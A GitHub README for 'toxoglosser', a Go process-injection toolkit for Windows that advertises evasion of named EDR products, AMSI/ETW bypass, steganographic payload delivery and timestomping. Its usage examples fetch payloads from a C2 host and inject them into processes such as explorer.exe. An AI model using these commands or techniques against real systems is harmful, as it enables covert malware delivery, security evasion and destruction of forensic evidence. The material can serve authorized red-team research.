Skip to content

About

a Golang tool implementing operationally viable process injection techniques for 64-bit Windows systems

Topics

Resources

Stars

7 stars

Watchers

0 watching

Forks

Repository files navigation

Toxoglosser

ELITE PROCESS INJECTION TOOLKIT (2025 EDITION)

toxoglosser
Go Windows x64 Elite Evasion Security Research

Overview • Key Features • Enhanced Evasion Capabilities • Architecture • Building • Usage • Payload Loading Methods • Injection Techniques • Evasion Features • Recent Improvements • License • Ethics


Overview

toxoglosser is a state-of-the-art process injection tool for 64-bit Windows systems. It incorporates "Elite" EDR evasion techniques to inject payloads into target processes while evading the most sophisticated modern security solutions including:

  • Data Execution Prevention (DEP) / ASLR
  • Modern EDRs (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint)
  • Next-Gen AV and Behavioral Analysis Engines
  • Memory Scanners (PE-Sieve, Moneta)

Key Features

  • Halo's Gate & Indirect Syscalls: Advanced syscall framework that resolves SSNs even from hooked DLLs and masks the origin of syscalls by jumping through legitimate ntdll.dll gadgets.
  • Module Overloading (Phantom Mapping): Injects shellcode into memory backed by legitimate Windows DLLs on disk, bypassing "floating code" detections.
  • Steganographic Delivery: Extracts encrypted payloads from the Least Significant Bits (LSB) of image files (PNG/JPG/BMP) to evade network detection.
  • Callback-Based Execution: Triggers payload execution via legitimate system callbacks (EnumSystemLocalesW, EnumChildWindows) to break behavioral detection chains.
  • Manual API Hashing: Complete elimination of LazyDLL usage; all APIs resolved via djb2 hashing of Export Address Tables.
  • Stack Spoofing: Conceptual implementation to mask the call stack of sleeping/injected threads from memory scanners.
  • NTFS Timestomping: Automatically matches the timestamps of the tool with legitimate system binaries.
  • Unhooking-based AMSI/ETW Bypass: Restores ntdll.dll from disk to strip user-mode hooks before patching.
  • Configurable Evasion: Jitter-based delays and advanced sandbox detection (CPU, RAM, MAC, Disk, Timing).

Enhanced Evasion Capabilities

  1. Indirect Syscalls (Lazarus Style): Instead of executing syscall locally, the tool jumps to a syscall; ret gadget within ntdll.dll, making the call appear legitimate.
  2. Halo's Gate SSN Resolution: If a syscall stub is hooked, toxoglosser searches adjacent stubs to calculate the correct System Service Number (SSN).
  3. Phantom Module Mapping: Uses NtCreateSection and NtMapViewOfSection with SEC_IMAGE to map legitimate DLLs and overwrite their memory, evading unbacked memory alerts.
  4. LSB Steganography: Payloads are hidden within images, providing a perfect cover for C2 communication.
  5. Callback Execution: Avoids CreateRemoteThread by using Windows callback functions as execution triggers.

Architecture

┌─────────────────┐    ┌──────────────────┐    ┌─────────────────┐
│   cmd/          │    │   core/          │    │   evasion/      │
│  (main entry)   │───▶│ (indirect sys,   │───▶│ (AMSI/ETW       │
│                 │    │  overload, callbacks)│    │  bypass, unhook)│
│  toxoglosser.go │    └──────────────────┘    └─────────────────┘
└─────────────────┘              │
                                ▼
┌─────────────────┐    ┌──────────────────┐    ┌─────────────────┐
│   utils/        │    │   payloads/      │    │   anti/         │
│ (stomp, sleep,  │───▶│ (stego, AES,     │───▶│ (sandbox,       │
│  obfuscation)   │    │  validation)     │    │  detection)     │
└─────────────────┘    └──────────────────┘    └─────────────────┘

Building

Prerequisites

  • Go 1.24+
  • Garble (for obfuscation): go install mvdan.cc/garble@v0.14.2
  • MinGW-w64 (for cross-compilation: x86_64-w64-mingw32-gcc)

Build Script

# Standard obfuscated build
chmod +x build.sh
./build.sh

# Or using Makefile for cross-compilation
make cross-build

Usage

.\toxoglosser.exe [OPTIONS]

Required Arguments

  • -url <url>: URL to fetch the staged payload from.
  • -stego: (Optional) Use LSB steganography to extract payload from an image at -url.

Injection & Execution Options

  • -technique <thread|overload|callback>: Injection method.
  • -dll <path>: Target DLL for module overloading (default: msvcrt.dll).
  • -pname <name> / -pid <id>: Target process selection.
  • -stomp <path>: Legitimate file to timestomp against.
  • -key <key>: AES decryption key.

Examples

# Elite: Overload msvcrt.dll and execute via callback using stego payload
.\toxoglosser.exe -url http://c2.com/logo.png -stego -technique callback -stomp C:\Windows\System32\cmd.exe

# Standard: APC injection with URL payload
.\toxoglosser.exe -url http://c2.com/pay.bin -pname explorer.exe -technique thread

Evasion Features

1. Halo's Gate & Indirect Syscalls

Bypasses all modern EDR user-mode hooks by using a combination of hook-resilient resolution and legitimate gadget execution.

2. Module Overloading

Evades memory scanners that flag "Private" memory or "Floating" code by using "Image" backed memory.

3. Steganography

Masks binary payload downloads behind legitimate image traffic, evading NDR and proxy analysis.

4. NTFS Timestomping

Cleans up forensic artifacts by matching file timestamps with system binaries.

Recent Improvements

2026 Ultimate Upgrade

  • Go 1.24 Migration: Leverages the latest Go compiler features for improved performance and smaller binary footprints.
  • Unified TartarusSyscall Framework: Consistently handles Direct and Indirect syscalls with integrated Halo's Gate resolution across all modules.
  • Hardened API Resolution: Complete manual resolution for GetFileTime, MoveFileExW, and other critical APIs to eliminate LazyDLL signatures.
  • Improved CGO-free Entry Point: Optimized cmd/toxoglosser.go for seamless garble obfuscation and better compatibility with modern Go linkers.

Elite Upgrades (2025)

  • Implemented Halo's Gate: Resilient SSN extraction from hooked stubs.
  • Implemented Indirect Syscalls: Stealthier syscall execution masking.
  • Implemented Module Overloading: Phantom mapping for image-backed injection.
  • Implemented LSB Steganography: Hidden payload delivery in image pixels.
  • Implemented Callback Execution: Stealthier execution via EnumSystemLocalesW.
  • Implemented Timestomping: Forensic evasion via timestamp modification.

License

toxoglosser is sicced - without strings, binds, or obligations - upon this turtle's shell under the Unlicense

Ethics

I'm not your parent. Use responsibly for authorized security research and professional red teaming.

About

a Golang tool implementing operationally viable process injection techniques for 64-bit Windows systems

Topics

Resources

Stars

7 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages